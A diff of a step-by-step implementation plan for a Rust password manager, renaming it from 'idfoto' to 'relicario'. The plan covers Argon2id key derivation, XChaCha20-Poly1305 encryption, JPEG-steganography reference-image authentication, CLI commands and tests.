@@ -62,20 +62,20 @@ idfoto/ (project root = /home/alee/Sources/axsbadge
[workspace]
resolver = "2"
members = [
"crates/idfoto-core",
"crates/idfoto-cli",
"crates/relicario-core",
"crates/relicario-cli",
]
```
- [ ] **Step 2: Create idfoto-core crate**
- [ ] **Step 2: Create relicario-core crate**
```toml
# crates/idfoto-core/Cargo.toml
# crates/relicario-core/Cargo.toml
[package]
name = "idfoto-core"
name = "relicario-core"
version = "0.1.0"
edition = "2021"
description = "Core library for idfoto password manager"
description = "Core library for relicario password manager"
[dependencies]
thiserror = "2"
@@ -92,26 +92,26 @@ image = { version = "0.25", default-features = false, features = ["jpeg"] }
```
```rust
// crates/idfoto-core/src/lib.rs
// crates/relicario-core/src/lib.rs
pub mod error;
```
- [ ] **Step 3: Create idfoto-cli crate**
- [ ] **Step 3: Create relicario-cli crate**
```toml
# crates/idfoto-cli/Cargo.toml
# crates/relicario-cli/Cargo.toml
[package]
name = "idfoto-cli"
name = "relicario-cli"
version = "0.1.0"
edition = "2021"
description = "CLI for idfoto password manager"
description = "CLI for relicario password manager"
[[bin]]
name = "idfoto"
name = "relicario"
path = "src/main.rs"
[dependencies]
idfoto-core = { path = "../idfoto-core" }
relicario-core = { path = "../relicario-core" }
clap = { version = "4", features = ["derive"] }
anyhow = "1"
rpassword = "5"
@@ -120,9 +120,9 @@ dirs = "5"
```
```rust
// crates/idfoto-cli/src/main.rs
// crates/relicario-cli/src/main.rs
fn main() {
println!("idfoto v0.1.0");
println!("relicario v0.1.0");
}
```
@@ -138,7 +138,7 @@ git init
echo "target/" > .gitignore
echo ".superpowers/" >> .gitignore
git add Cargo.toml crates/ .gitignore docs/
git commit -m "feat: scaffold Cargo workspace with idfoto-core and idfoto-cli"
git commit -m "feat: scaffold Cargo workspace with relicario-core and relicario-cli"
```
---
@@ -146,17 +146,17 @@ git commit -m "feat: scaffold Cargo workspace with idfoto-core and idfoto-cli"
### Task 2: Error Types
**Files:**
- Create: `crates/idfoto-core/src/error.rs`
- Modify: `crates/idfoto-core/src/lib.rs`
- Create: `crates/relicario-core/src/error.rs`
- Modify: `crates/relicario-core/src/lib.rs`
- [ ] **Step 1: Write the error enum**
```rust
// crates/idfoto-core/src/error.rs
// crates/relicario-core/src/error.rs
use thiserror::Error;
#[derive(Debug, Error)]
pub enum IdfotoError {
pub enum RelicarioError {
#[error("key derivation failed: {0}")]
Kdf(String),
@@ -193,16 +193,16 @@ pub enum IdfotoError {
DeviceKey(String),
}
pub type Result<T> = std::result::Result<T, IdfotoError>;
pub type Result<T> = std::result::Result<T, RelicarioError>;
```
- [ ] **Step 2: Update lib.rs to re-export**
```rust
// crates/idfoto-core/src/lib.rs
// crates/relicario-core/src/lib.rs
pub mod error;
pub use error::{IdfotoError, Result};
pub use error::{RelicarioError, Result};
```
- [ ] **Step 3: Verify build**
@@ -213,8 +213,8 @@ Expected: Compiles cleanly.
- [ ] **Step 4: Commit**
```bash
git add crates/idfoto-core/src/error.rs crates/idfoto-core/src/lib.rs
git commit -m "feat: add IdfotoError enum with thiserror"
git add crates/relicario-core/src/error.rs crates/relicario-core/src/lib.rs
git commit -m "feat: add RelicarioError enum with thiserror"
```
---
@@ -222,13 +222,13 @@ git commit -m "feat: add IdfotoError enum with thiserror"
### Task 3: Crypto — Key Derivation
**Files:**
- Create: `crates/idfoto-core/src/crypto.rs`
- Modify: `crates/idfoto-core/src/lib.rs`
- Create: `crates/relicario-core/src/crypto.rs`
- Modify: `crates/relicario-core/src/lib.rs`
- [ ] **Step 1: Write the failing test**
```rust
// crates/idfoto-core/src/crypto.rs
// crates/relicario-core/src/crypto.rs
// ... (implementation comes in step 3)
@@ -274,17 +274,17 @@ mod tests {
- [ ] **Step 2: Run test to verify it fails**
Run: `cargo test -p idfoto-core derive_master_key`
Run: `cargo test -p relicario-core derive_master_key`
Expected: FAIL — `derive_master_key` and `KdfParams` not defined.
- [ ] **Step 3: Write the implementation**
```rust
// crates/idfoto-core/src/crypto.rs
// crates/relicario-core/src/crypto.rs
use argon2::{Algorithm, Argon2, Params, Version};
use crate::error::{IdfotoError, Result};
use crate::error::{RelicarioError, Result};
/// Argon2id tuning parameters. Stored in .idfoto/params.json.
/// Argon2id tuning parameters. Stored in .relicario/params.json.
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
pub struct KdfParams {
/// Memory cost in KiB (default: 65536 = 64 MiB)
@@ -308,7 +308,7 @@ impl Default for KdfParams {
/// Derive a 32-byte master key from passphrase + image_secret + salt.
///
/// password = passphrase_bytes || image_secret_bytes (concatenated)
/// salt = vault_salt (32 bytes from .idfoto/salt)
/// salt = vault_salt (32 bytes from .relicario/salt)
pub fn derive_master_key(
passphrase: &[u8],
image_secret: &[u8; 32],
@@ -326,14 +326,14 @@ pub fn derive_master_key(
params.argon2_p,
Some(32),
)
.map_err(|e| IdfotoError::Kdf(e.to_string()))?;
.map_err(|e| RelicarioError::Kdf(e.to_string()))?;
let argon2 = Argon2::new(Algorithm::Argon2id, Version::V0x13, argon2_params);
let mut output = [0u8; 32];
argon2
.hash_password_into(&password, salt, &mut output)
.map_err(|e| IdfotoError::Kdf(e.to_string()))?;
.map_err(|e| RelicarioError::Kdf(e.to_string()))?;
Ok(output)
}
@@ -389,24 +389,24 @@ mod tests {
- [ ] **Step 4: Run tests**
Run: `cargo test -p idfoto-core derive_master_key`
Run: `cargo test -p relicario-core derive_master_key`
Expected: All 3 tests PASS.
- [ ] **Step 5: Update lib.rs**
```rust
// crates/idfoto-core/src/lib.rs
// crates/relicario-core/src/lib.rs
pub mod crypto;
pub mod error;
pub use crypto::{derive_master_key, KdfParams};
pub use error::{IdfotoError, Result};
pub use error::{RelicarioError, Result};
```
- [ ] **Step 6: Commit**
```bash
git add crates/idfoto-core/src/
git add crates/relicario-core/src/
git commit -m "feat: add Argon2id key derivation with tests"
```
@@ -415,11 +415,11 @@ git commit -m "feat: add Argon2id key derivation with tests"
### Task 4: Crypto — Encrypt / Decrypt
**Files:**
- Modify: `crates/idfoto-core/src/crypto.rs`
- Modify: `crates/relicario-core/src/crypto.rs`
- [ ] **Step 1: Write the failing tests**
Add to `crates/idfoto-core/src/crypto.rs` inside the `mod tests` block:
Add to `crates/relicario-core/src/crypto.rs` inside the `mod tests` block:
```rust
#[test]
@@ -471,12 +471,12 @@ Add to `crates/idfoto-core/src/crypto.rs` inside the `mod tests` block:
- [ ] **Step 2: Run tests to verify they fail**
Run: `cargo test -p idfoto-core encrypt`
Run: `cargo test -p relicario-core encrypt`
Expected: FAIL — `encrypt` and `decrypt` not defined.
- [ ] **Step 3: Write the implementation**
Add to `crates/idfoto-core/src/crypto.rs`, above the `#[cfg(test)]` block:
Add to `crates/relicario-core/src/crypto.rs`, above the `#[cfg(test)]` block:
```rust
use chacha20poly1305::{
@@ -503,7 +503,7 @@ pub fn encrypt(key: &[u8; 32], plaintext: &[u8]) -> Result<Vec<u8>> {
let ciphertext = cipher
.encrypt(nonce, plaintext)
.map_err(|_| IdfotoError::Encrypt("XChaCha20-Poly1305 encryption failed".into()))?;
.map_err(|_| RelicarioError::Encrypt("XChaCha20-Poly1305 encryption failed".into()))?;
let mut output = Vec::with_capacity(1 + NONCE_SIZE + ciphertext.len());
output.push(FORMAT_VERSION);
@@ -518,7 +518,7 @@ pub fn encrypt(key: &[u8; 32], plaintext: &[u8]) -> Result<Vec<u8>> {
pub fn decrypt(key: &[u8; 32], data: &[u8]) -> Result<Vec<u8>> {
let min_len = 1 + NONCE_SIZE + 16; // version + nonce + tag (empty plaintext)
if data.len() < min_len {
return Err(IdfotoError::Format(format!(
return Err(RelicarioError::Format(format!(
"ciphertext too short: {} bytes, need at least {}",
data.len(),
min_len
@@ -527,7 +527,7 @@ pub fn decrypt(key: &[u8; 32], data: &[u8]) -> Result<Vec<u8>> {
let version = data[0];
if version != FORMAT_VERSION {
return Err(IdfotoError::Format(format!(
return Err(RelicarioError::Format(format!(
"unsupported format version: {version}"
)));
}
@@ -538,7 +538,7 @@ pub fn decrypt(key: &[u8; 32], data: &[u8]) -> Result<Vec<u8>> {
let cipher = XChaCha20Poly1305::new(key.into());
cipher
.decrypt(nonce, ciphertext)
.map_err(|_| IdfotoError::Decrypt)
.map_err(|_| RelicarioError::Decrypt)
}
```
@@ -557,24 +557,24 @@ use rand::RngCore;
- [ ] **Step 5: Run all crypto tests**
Run: `cargo test -p idfoto-core`
Run: `cargo test -p relicario-core`
Expected: All tests PASS (3 KDF tests + 4 encrypt/decrypt tests).
- [ ] **Step 6: Update lib.rs exports**
```rust
// crates/idfoto-core/src/lib.rs
// crates/relicario-core/src/lib.rs
pub mod crypto;
pub mod error;
pub use crypto::{derive_master_key, encrypt, decrypt, KdfParams};
pub use error::{IdfotoError, Result};
pub use error::{RelicarioError, Result};
```
- [ ] **Step 7: Commit**
```bash
git add crates/idfoto-core/src/
git add crates/relicario-core/src/
git commit -m "feat: add XChaCha20-Poly1305 encrypt/decrypt with binary format"
```
@@ -583,13 +583,13 @@ git commit -m "feat: add XChaCha20-Poly1305 encrypt/decrypt with binary format"
### Task 5: Entry & Manifest Data Model
**Files:**
- Create: `crates/idfoto-core/src/entry.rs`
- Modify: `crates/idfoto-core/src/lib.rs`
- Create: `crates/relicario-core/src/entry.rs`
- Modify: `crates/relicario-core/src/lib.rs`
- [ ] **Step 1: Write tests for serialization**
```rust
// crates/idfoto-core/src/entry.rs
// crates/relicario-core/src/entry.rs
// ... (implementation in step 3)
@@ -663,13 +663,13 @@ mod tests {
- [ ] **Step 2: Run tests to verify they fail**
Run: `cargo test -p idfoto-core entry`
Run: `cargo test -p relicario-core entry`
Expected: FAIL — types not defined.
- [ ] **Step 3: Write the implementation**
```rust
// crates/idfoto-core/src/entry.rs
// crates/relicario-core/src/entry.rs
use rand::Rng;
use serde::{Deserialize, Serialize};
use std::collections::HashMap;
@@ -850,25 +850,25 @@ mod tests {
- [ ] **Step 4: Update lib.rs**
```rust
// crates/idfoto-core/src/lib.rs
// crates/relicario-core/src/lib.rs
pub mod crypto;
pub mod entry;
pub mod error;
pub use crypto::{derive_master_key, decrypt, encrypt, KdfParams};
pub use entry::{generate_entry_id, Entry, Manifest, ManifestEntry};
pub use error::{IdfotoError, Result};
pub use error::{RelicarioError, Result};
```
- [ ] **Step 5: Run tests**
Run: `cargo test -p idfoto-core entry`
Run: `cargo test -p relicario-core entry`
Expected: All 5 entry tests PASS.
- [ ] **Step 6: Commit**
```bash
git add crates/idfoto-core/src/
git add crates/relicario-core/src/
git commit -m "feat: add Entry, Manifest, ManifestEntry data model with serde"
```
@@ -877,13 +877,13 @@ git commit -m "feat: add Entry, Manifest, ManifestEntry data model with serde"
### Task 6: Vault Operations
**Files:**
- Create: `crates/idfoto-core/src/vault.rs`
- Modify: `crates/idfoto-core/src/lib.rs`
- Create: `crates/relicario-core/src/vault.rs`
- Modify: `crates/relicario-core/src/lib.rs`
- [ ] **Step 1: Write failing tests**
```rust
// crates/idfoto-core/src/vault.rs
// crates/relicario-core/src/vault.rs
// ... (implementation in step 3)
@@ -955,13 +955,13 @@ mod tests {
- [ ] **Step 2: Run tests to verify they fail**
Run: `cargo test -p idfoto-core vault`
Run: `cargo test -p relicario-core vault`
Expected: FAIL — functions not defined.
- [ ] **Step 3: Write the implementation**
```rust
// crates/idfoto-core/src/vault.rs
// crates/relicario-core/src/vault.rs
use crate::crypto;
use crate::entry::{Entry, Manifest};
use crate::error::Result;
@@ -1061,7 +1061,7 @@ mod tests {
- [ ] **Step 4: Update lib.rs**
```rust
// crates/idfoto-core/src/lib.rs
// crates/relicario-core/src/lib.rs
pub mod crypto;
pub mod entry;
pub mod error;
@@ -1069,19 +1069,19 @@ pub mod vault;
pub use crypto::{derive_master_key, decrypt, encrypt, KdfParams};
pub use entry::{generate_entry_id, Entry, Manifest, ManifestEntry};
pub use error::{IdfotoError, Result};
pub use error::{RelicarioError, Result};
pub use vault::{decrypt_entry, decrypt_manifest, encrypt_entry, encrypt_manifest};
```
- [ ] **Step 5: Run all tests**
Run: `cargo test -p idfoto-core`
Run: `cargo test -p relicario-core`
Expected: All tests PASS (KDF + encrypt/decrypt + entry + vault).
- [ ] **Step 6: Commit**
```bash
git add crates/idfoto-core/src/
git add crates/relicario-core/src/
git commit -m "feat: add vault encrypt/decrypt for entries and manifest"
```
@@ -1090,15 +1090,15 @@ git commit -m "feat: add vault encrypt/decrypt for entries and manifest"
### Task 7: imgsecret — JPEG Decode, Y Channel, Block DCT
**Files:**
- Create: `crates/idfoto-core/src/imgsecret.rs`
- Modify: `crates/idfoto-core/src/lib.rs`
- Create: `crates/relicario-core/src/imgsecret.rs`
- Modify: `crates/relicario-core/src/lib.rs`
This task builds the image-processing foundation. No embedding yet — just: load JPEG → extract luminance → divide into 8×8 blocks → DCT forward/inverse.
- [ ] **Step 1: Write tests for DCT round-trip and Y channel extraction**
```rust
// crates/idfoto-core/src/imgsecret.rs
// crates/relicario-core/src/imgsecret.rs
// ... (implementation in step 3)
@@ -1179,14 +1179,14 @@ mod tests {
- [ ] **Step 2: Run tests to verify they fail**
Run: `cargo test -p idfoto-core imgsecret`
Run: `cargo test -p relicario-core imgsecret`
Expected: FAIL — functions not defined.
- [ ] **Step 3: Write the implementation**
```rust
// crates/idfoto-core/src/imgsecret.rs
use crate::error::{IdfotoError, Result};
// crates/relicario-core/src/imgsecret.rs
use crate::error::{RelicarioError, Result};
use image::io::Reader as ImageReader;
use std::f64::consts::PI;
use std::io::Cursor;
@@ -1214,11 +1214,11 @@ pub struct EmbedRegion {
pub fn extract_y_channel(jpeg_bytes: &[u8]) -> Result<YChannel> {
let reader = ImageReader::new(Cursor::new(jpeg_bytes))
.with_guessed_format()
.map_err(|e| IdfotoError::ImgSecret(format!("failed to read image: {e}")))?;
.map_err(|e| RelicarioError::ImgSecret(format!("failed to read image: {e}")))?;
let img = reader
.decode()
.map_err(|e| IdfotoError::ImgSecret(format!("failed to decode image: {e}")))?;
.map_err(|e| RelicarioError::ImgSecret(format!("failed to decode image: {e}")))?;
let rgb = img.to_rgb8();
let (width, height) = (rgb.width() as usize, rgb.height() as usize);
@@ -1464,7 +1464,7 @@ mod tests {
- [ ] **Step 4: Update lib.rs**
```rust
// crates/idfoto-core/src/lib.rs
// crates/relicario-core/src/lib.rs
pub mod crypto;
pub mod entry;
pub mod error;
@@ -1473,19 +1473,19 @@ pub mod vault;
pub use crypto::{derive_master_key, decrypt, encrypt, KdfParams};
pub use entry::{generate_entry_id, Entry, Manifest, ManifestEntry};
pub use error::{IdfotoError, Result};
pub use error::{RelicarioError, Result};
pub use vault::{decrypt_entry, decrypt_manifest, encrypt_entry, encrypt_manifest};
```
- [ ] **Step 5: Run tests**
Run: `cargo test -p idfoto-core imgsecret`
Run: `cargo test -p relicario-core imgsecret`
Expected: All 4 tests PASS.
- [ ] **Step 6: Commit**
```bash
git add crates/idfoto-core/src/
git add crates/relicario-core/src/
git commit -m "feat: add imgsecret JPEG decode, Y channel extraction, and 8x8 DCT"
```
@@ -1494,7 +1494,7 @@ git commit -m "feat: add imgsecret JPEG decode, Y channel extraction, and 8x8 DC
### Task 8: imgsecret — QIM Embedding + Block Selection
**Files:**
- Modify: `crates/idfoto-core/src/imgsecret.rs`
- Modify: `crates/relicario-core/src/imgsecret.rs`
This task adds QIM (Quantization Index Modulation) for embedding/extracting individual bits in DCT coefficients, and the fixed geometric pattern for selecting which blocks carry data.
@@ -1544,7 +1544,7 @@ Add to `mod tests` in `imgsecret.rs`:
- [ ] **Step 2: Run tests to verify they fail**
Run: `cargo test -p idfoto-core qim`
Run: `cargo test -p relicario-core qim`
Expected: FAIL — `qim_embed`, `qim_extract`, `select_embed_blocks`, `QUANT_STEP` not defined.
- [ ] **Step 3: Write QIM and block selection implementation**
@@ -1632,13 +1632,13 @@ pub fn select_embed_blocks(region: &EmbedRegion, target_count: usize) -> Vec<(us
- [ ] **Step 4: Run tests**
Run: `cargo test -p idfoto-core imgsecret`
Run: `cargo test -p relicario-core imgsecret`
Expected: All tests PASS (previous 4 + 3 new QIM/block-selection tests).
- [ ] **Step 5: Commit**
```bash
git add crates/idfoto-core/src/imgsecret.rs
git add crates/relicario-core/src/imgsecret.rs
git commit -m "feat: add QIM bit embedding and fixed-pattern block selection"
```
@@ -1647,7 +1647,7 @@ git commit -m "feat: add QIM bit embedding and fixed-pattern block selection"
### Task 9: imgsecret — Full embed() and extract()
**Files:**
- Modify: `crates/idfoto-core/src/imgsecret.rs`
- Modify: `crates/relicario-core/src/imgsecret.rs`
This is the main event: the public `embed()` and `extract()` functions with redundancy coding and majority voting. Reed-Solomon is added in Task 10.
@@ -1697,7 +1697,7 @@ Add `use rand::Fill;` at the top of the test module for the random fill.
- [ ] **Step 2: Run tests to verify they fail**
Run: `cargo test -p idfoto-core embed_extract`
Run: `cargo test -p relicario-core embed_extract`
Expected: FAIL — `embed` and `extract` not defined.
- [ ] **Step 3: Write embed() implementation**
@@ -1727,7 +1727,7 @@ pub fn embed(carrier_jpeg: &[u8], secret: &[u8; 32]) -> Result<Vec<u8>> {
// Check minimum size
if y.width < MIN_DIMENSION as usize || y.height < MIN_DIMENSION as usize {
return Err(IdfotoError::ImageTooSmall {
return Err(RelicarioError::ImageTooSmall {
min_width: MIN_DIMENSION,
min_height: MIN_DIMENSION,
actual_width: y.width as u32,
@@ -1739,7 +1739,7 @@ pub fn embed(carrier_jpeg: &[u8], secret: &[u8; 32]) -> Result<Vec<u8>> {
let num_copies = (total_blocks / BLOCKS_PER_COPY).min(50); // cap at 50 copies
if num_copies < MIN_COPIES {
return Err(IdfotoError::ImgSecret(format!(
return Err(RelicarioError::ImgSecret(format!(
"image too small for embedding: only {num_copies} copies fit, need at least {MIN_COPIES}"
)));
}
@@ -1793,7 +1793,7 @@ fn extract_at_offset(jpeg_bytes: &[u8], dx: isize, dy: isize) -> Result<[u8; 32]
let new_x = region.x_offset as isize + dx;
let new_y = region.y_offset as isize + dy;
if new_x < 0 || new_y < 0 {
return Err(IdfotoError::ExtractionFailed);
return Err(RelicarioError::ExtractionFailed);
}
region.x_offset = new_x as usize;
region.y_offset = new_y as usize;
@@ -1808,7 +1808,7 @@ fn extract_at_offset(jpeg_bytes: &[u8], dx: isize, dy: isize) -> Result<[u8; 32]
let num_copies = (total_blocks / BLOCKS_PER_COPY).min(50);
if num_copies < 1 {
return Err(IdfotoError::ExtractionFailed);
return Err(RelicarioError::ExtractionFailed);
}
let blocks_needed = num_copies * BLOCKS_PER_COPY;
@@ -1857,7 +1857,7 @@ fn extract_at_offset(jpeg_bytes: &[u8], dx: isize, dy: isize) -> Result<[u8; 32]
let total_votes: u32 = bit_votes.iter().map(|v| v[0] + v[1]).sum();
let min_confidence = total_votes * 3 / 4; // at least 75% of votes should agree
if confidence < min_confidence {
return Err(IdfotoError::ExtractionFailed);
return Err(RelicarioError::ExtractionFailed);
}
Ok(bits_to_bytes(&secret_bits))
@@ -1894,11 +1894,11 @@ fn bits_to_bytes(bits: &[u8]) -> [u8; 32] {
fn reconstruct_jpeg(original_jpeg: &[u8], y_modified: &YChannel) -> Result<Vec<u8>> {
let reader = ImageReader::new(Cursor::new(original_jpeg))
.with_guessed_format()
.map_err(|e| IdfotoError::ImgSecret(format!("failed to read image: {e}")))?;
.map_err(|e| RelicarioError::ImgSecret(format!("failed to read image: {e}")))?;
let img = reader
.decode()
.map_err(|e| IdfotoError::ImgSecret(format!("failed to decode image: {e}")))?;
.map_err(|e| RelicarioError::ImgSecret(format!("failed to decode image: {e}")))?;
let rgb = img.to_rgb8();
let (width, height) = (rgb.width(), rgb.height());
@@ -1933,14 +1933,14 @@ fn reconstruct_jpeg(original_jpeg: &[u8], y_modified: &YChannel) -> Result<Vec<u
let encoder = JpegEncoder::new_with_quality(&mut buf, 92);
encoder
.write_image(output.as_raw(), width, height, image::ExtendedColorType::Rgb8)
.map_err(|e| IdfotoError::ImgSecret(format!("failed to encode JPEG: {e}")))?;
.map_err(|e| RelicarioError::ImgSecret(format!("failed to encode JPEG: {e}")))?;
Ok(buf)
}
```
- [ ] **Step 4: Run tests**
Run: `cargo test -p idfoto-core imgsecret -- --nocapture`
Run: `cargo test -p relicario-core imgsecret -- --nocapture`
Expected: All tests PASS including embed/extract round-trip.
- [ ] **Step 5: Add a JPEG recompression survival test**
@@ -1976,13 +1976,13 @@ Add to `mod tests`:
- [ ] **Step 6: Run all tests**
Run: `cargo test -p idfoto-core`
Run: `cargo test -p relicario-core`
Expected: All tests PASS.
- [ ] **Step 7: Commit**
```bash
git add crates/idfoto-core/src/imgsecret.rs
git add crates/relicario-core/src/imgsecret.rs
git commit -m "feat: add imgsecret embed/extract with redundancy and majority voting"
```
@@ -1991,7 +1991,7 @@ git commit -m "feat: add imgsecret embed/extract with redundancy and majority vo
### Task 10: imgsecret — Crop Recovery
**Files:**
- Modify: `crates/idfoto-core/src/imgsecret.rs`
- Modify: `crates/relicario-core/src/imgsecret.rs`
- [ ] **Step 1: Write failing crop test**
@@ -2033,7 +2033,7 @@ Add to `mod tests`:
- [ ] **Step 2: Run test to verify it fails**
Run: `cargo test -p idfoto-core crop`
Run: `cargo test -p relicario-core crop`
Expected: FAIL — `extract_with_crop_recovery` not defined.
- [ ] **Step 3: Write crop recovery implementation**
@@ -2066,7 +2066,7 @@ pub fn extract_with_crop_recovery(jpeg_bytes: &[u8]) -> Result<[u8; 32]> {
}
}
Err(IdfotoError::ExtractionFailed)
Err(RelicarioError::ExtractionFailed)
}
```
@@ -2110,19 +2110,19 @@ fn extract_with_crop_recovery(jpeg_bytes: &[u8]) -> Result<[u8; 32]> {
}
}
Err(IdfotoError::ExtractionFailed)
Err(RelicarioError::ExtractionFailed)
}
```
- [ ] **Step 4: Run all imgsecret tests**
Run: `cargo test -p idfoto-core imgsecret -- --nocapture`
Run: `cargo test -p relicario-core imgsecret -- --nocapture`
Expected: All tests PASS including crop recovery.
- [ ] **Step 5: Commit**
```bash
git add crates/idfoto-core/src/imgsecret.rs
git add crates/relicario-core/src/imgsecret.rs
git commit -m "feat: add crop recovery with multi-offset extraction search"
```
@@ -2131,15 +2131,15 @@ git commit -m "feat: add crop recovery with multi-offset extraction search"
### Task 11: CLI — Scaffolding, init, generate
**Files:**
- Modify: `crates/idfoto-cli/src/main.rs`
- Modify: `crates/relicario-cli/src/main.rs`
- [ ] **Step 1: Write the clap CLI structure**
```rust
// crates/idfoto-cli/src/main.rs
// crates/relicario-cli/src/main.rs
use anyhow::{Context, Result};
use clap::{Parser, Subcommand};
use idfoto_core::{
use relicario_core::{
decrypt_entry, decrypt_manifest, derive_master_key, encrypt_entry, encrypt_manifest,
generate_entry_id, Entry, KdfParams, Manifest, ManifestEntry,
};
@@ -2148,7 +2148,7 @@ use std::path::{Path, PathBuf};
use std::process::Command;
#[derive(Parser)]
#[command(name = "idfoto", version, about = "Git-backed password manager with reference image authentication")]
#[command(name = "relicario", version, about = "Git-backed password manager with reference image authentication")]
struct Cli {
#[command(subcommand)]
command: Commands,
@@ -2230,21 +2230,21 @@ fn vault_dir() -> PathBuf {
PathBuf::from(".")
}
fn idfoto_dir() -> PathBuf {
vault_dir().join(".idfoto")
fn relicario_dir() -> PathBuf {
vault_dir().join(".relicario")
}
fn read_salt() -> Result<[u8; 32]> {
let bytes = fs::read(idfoto_dir().join("salt"))
.context("failed to read .idfoto/salt — is this a vault directory?")?;
let bytes = fs::read(relicario_dir().join("salt"))
.context("failed to read .relicario/salt — is this a vault directory?")?;
let mut salt = [0u8; 32];
salt.copy_from_slice(&bytes);
Ok(salt)
}
fn read_params() -> Result<KdfParams> {
let json = fs::read_to_string(idfoto_dir().join("params.json"))
.context("failed to read .idfoto/params.json")?;
let json = fs::read_to_string(relicario_dir().join("params.json"))
.context("failed to read .relicario/params.json")?;
Ok(serde_json::from_str(&json)?)
}
@@ -2256,7 +2256,7 @@ fn unlock(image_path: &Path) -> Result<[u8; 32]> {
let jpeg_bytes = fs::read(image_path)
.context("failed to read reference image")?;
let image_secret = idfoto_core::imgsecret::extract(&jpeg_bytes)
let image_secret = relicario_core::imgsecret::extract(&jpeg_bytes)
.map_err(|e| anyhow::anyhow!("failed to extract image secret: {e}"))?;
let salt = read_salt()?;
@@ -2268,9 +2268,9 @@ fn unlock(image_path: &Path) -> Result<[u8; 32]> {
Ok(master_key)
}
/// Get reference image path — from env var IDFOTO_IMAGE or prompt.
/// Get reference image path — from env var RELICARIO_IMAGE or prompt.
fn get_image_path() -> Result<PathBuf> {
if let Ok(path) = std::env::var("IDFOTO_IMAGE") {
if let Ok(path) = std::env::var("RELICARIO_IMAGE") {
return Ok(PathBuf::from(path));
}
eprint!("Reference image path: ");
@@ -2328,7 +2328,7 @@ fn cmd_init(image_path: &Path, output_path: &Path) -> Result<()> {
rand::RngCore::fill_bytes(&mut rand::rngs::OsRng, &mut image_secret);
println!("Embedding secret into reference image...");
let stego_jpeg = idfoto_core::imgsecret::embed(&carrier_jpeg, &image_secret)
let stego_jpeg = relicario_core::imgsecret::embed(&carrier_jpeg, &image_secret)
.map_err(|e| anyhow::anyhow!("failed to embed secret: {e}"))?;
fs::write(output_path, &stego_jpeg)
.context("failed to write reference image")?;
@@ -2354,14 +2354,14 @@ fn cmd_init(image_path: &Path, output_path: &Path) -> Result<()> {
.map_err(|e| anyhow::anyhow!("key derivation failed: {e}"))?;
// 5. Write vault structure
fs::create_dir_all(idfoto_dir())?;
fs::create_dir_all(relicario_dir())?;
fs::create_dir_all(vault_dir().join("entries"))?;
fs::write(idfoto_dir().join("salt"), salt)?;
fs::write(relicario_dir().join("salt"), salt)?;
fs::write(
idfoto_dir().join("params.json"),
relicario_dir().join("params.json"),
serde_json::to_string_pretty(&params)?,
)?;
fs::write(idfoto_dir().join("devices.json"), "[]")?;
fs::write(relicario_dir().join("devices.json"), "[]")?;
// 6. Write empty manifest
let manifest = Manifest::new();
@@ -2373,7 +2373,7 @@ fn cmd_init(image_path: &Path, output_path: &Path) -> Result<()> {
// Add .gitignore
fs::write(vault_dir().join(".gitignore"), "reference.jpg\n")?;
git_commit("feat: initialize idfoto vault")?;
git_commit("feat: initialize relicario vault")?;
println!("\nVault initialized successfully!");
println!("IMPORTANT: Keep your reference image ({}) safe — you need it to unlock the vault.", output_path.display());
@@ -2664,7 +2664,7 @@ Expected: Shows all subcommands with descriptions.
- [ ] **Step 5: Commit**
```bash
git add crates/idfoto-cli/src/main.rs
git add crates/relicario-cli/src/main.rs
git commit -m "feat: add full CLI with init, add, get, list, edit, rm, sync, generate"
```
@@ -2673,7 +2673,7 @@ git commit -m "feat: add full CLI with init, add, get, list, edit, rm, sync, gen
### Task 12: CLI — Device Management
**Files:**
- Modify: `crates/idfoto-cli/src/main.rs`
- Modify: `crates/relicario-cli/src/main.rs`
- [ ] **Step 1: Add device subcommands to the CLI**
@@ -2733,14 +2733,14 @@ struct DeviceEntry {
}
fn read_devices() -> Result<Vec<DeviceEntry>> {
let json = fs::read_to_string(idfoto_dir().join("devices.json"))
let json = fs::read_to_string(relicario_dir().join("devices.json"))
.context("failed to read devices.json")?;
Ok(serde_json::from_str(&json)?)
}
fn write_devices(devices: &[DeviceEntry]) -> Result<()> {
let json = serde_json::to_string_pretty(devices)?;
fs::write(idfoto_dir().join("devices.json"), json)?;
fs::write(relicario_dir().join("devices.json"), json)?;
Ok(())
}
@@ -2759,7 +2759,7 @@ fn cmd_device_add(name: &str) -> Result<()> {
// Save private key to local config
let config_dir = dirs::config_dir()
.context("no config directory")?
.join("idfoto");
.join("relicario");
fs::create_dir_all(&config_dir)?;
fs::write(
config_dir.join(format!("{name}.key")),
@@ -2806,7 +2806,7 @@ fn cmd_device_revoke(name: &str) -> Result<()> {
- [ ] **Step 3: Add hex dependency**
Add to `crates/idfoto-cli/Cargo.toml` under `[dependencies]`:
Add to `crates/relicario-cli/Cargo.toml` under `[dependencies]`:
```toml
hex = "0.4"
@@ -2824,7 +2824,7 @@ Expected: Compiles cleanly.
- [ ] **Step 5: Commit**
```bash
git add crates/idfoto-cli/
git add crates/relicario-cli/
git commit -m "feat: add device add/list/revoke commands with ed25519 key management"
```
@@ -2833,16 +2833,16 @@ git commit -m "feat: add device add/list/revoke commands with ed25519 key manage
### Task 13: Integration Test — Full Vault Workflow
**Files:**
- Create: `crates/idfoto-core/tests/integration.rs`
- Create: `crates/relicario-core/tests/integration.rs`
This test exercises the full flow: generate secret → embed → derive key → encrypt entry → decrypt entry → extract secret from re-encoded image.
- [ ] **Step 1: Write the integration test**
```rust
// crates/idfoto-core/tests/integration.rs
use idfoto_core::*;
use idfoto_core::imgsecret;
// crates/relicario-core/tests/integration.rs
use relicario_core::*;
use relicario_core::imgsecret;
fn make_test_jpeg(width: u32, height: u32) -> Vec<u8> {
use image::codecs::jpeg::JpegEncoder;
@@ -2967,7 +2967,7 @@ fn two_factor_independence() {
- [ ] **Step 2: Run integration tests**
Run: `cargo test -p idfoto-core --test integration`
Run: `cargo test -p relicario-core --test integration`
Expected: Both tests PASS.
- [ ] **Step 3: Run the full test suite**
@@ -2978,7 +2978,7 @@ Expected: ALL tests across all crates PASS.
- [ ] **Step 4: Commit**
```bash
git add crates/idfoto-core/tests/
git add crates/relicario-core/tests/
git commit -m "test: add full-workflow integration test and two-factor independence verification"
```
@@ -2987,7 +2987,7 @@ git commit -m "test: add full-workflow integration test and two-factor independe
## Plan 2 Preview
After this plan is complete and passing, Plan 2 covers:
- **idfoto-wasm**: wasm-bindgen wrapper around idfoto-core (compile with `wasm-pack build`)
- **relicario-wasm**: wasm-bindgen wrapper around relicario-core (compile with `wasm-pack build`)
- **Chrome MV3 extension**: TypeScript popup + content script + service worker, loading the WASM module for inline crypto
